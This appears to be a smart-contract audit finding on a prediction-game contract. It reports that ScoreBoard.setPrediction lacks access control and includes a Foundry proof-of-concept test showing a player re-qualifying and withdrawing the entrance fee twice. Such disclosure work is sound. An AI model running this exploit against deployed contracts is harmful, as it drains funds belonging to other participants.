A user can withdraw entrancefee multiple times by manipulating the ScoreBoard contract directly to make themselves eligible for rewards again. This results in unauthorized multiple withdrawals, potentially depleting the contract's funds.
function test_unauthorizedmultiplewithdrawal() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address stranger5 = makeAddr("stranger5");
vm.deal(stranger, 1 ether);
vm.deal(stranger5, 1 ether);
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger.balance, 1.0397 ether);
vm.startPrank(stranger);
scoreBoard.setPrediction(
stranger,
1,
ScoreBoard.Result.Draw
);
assertEq(scoreBoard.isEligibleForReward(stranger), true);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
assertEq(stranger.balance, 1.0797 ether);
vm.stopPrank();
}
The setPrediction() in the ScoreBoard contract lacks proper access control, allowing unauthorized users to call it directly. above the test scenero, stranger was able to withraw multiple times after calling setprediction which in turn updates the state of isEligibleForreward() as withdraw function does not affect the status of playersPredictions[player].isPaid[matchNumber] = true;making stranger withdraws multiple 0.04ETH entranceFee
This manipulation allows users to increment their prediction count, making them eligible for rewards multiple times.
This vulnerability allows users to withdraw their entrance fee multiple times, leading to a potential depletion of the contract's funds and breaking the integrity of the reward distribution system.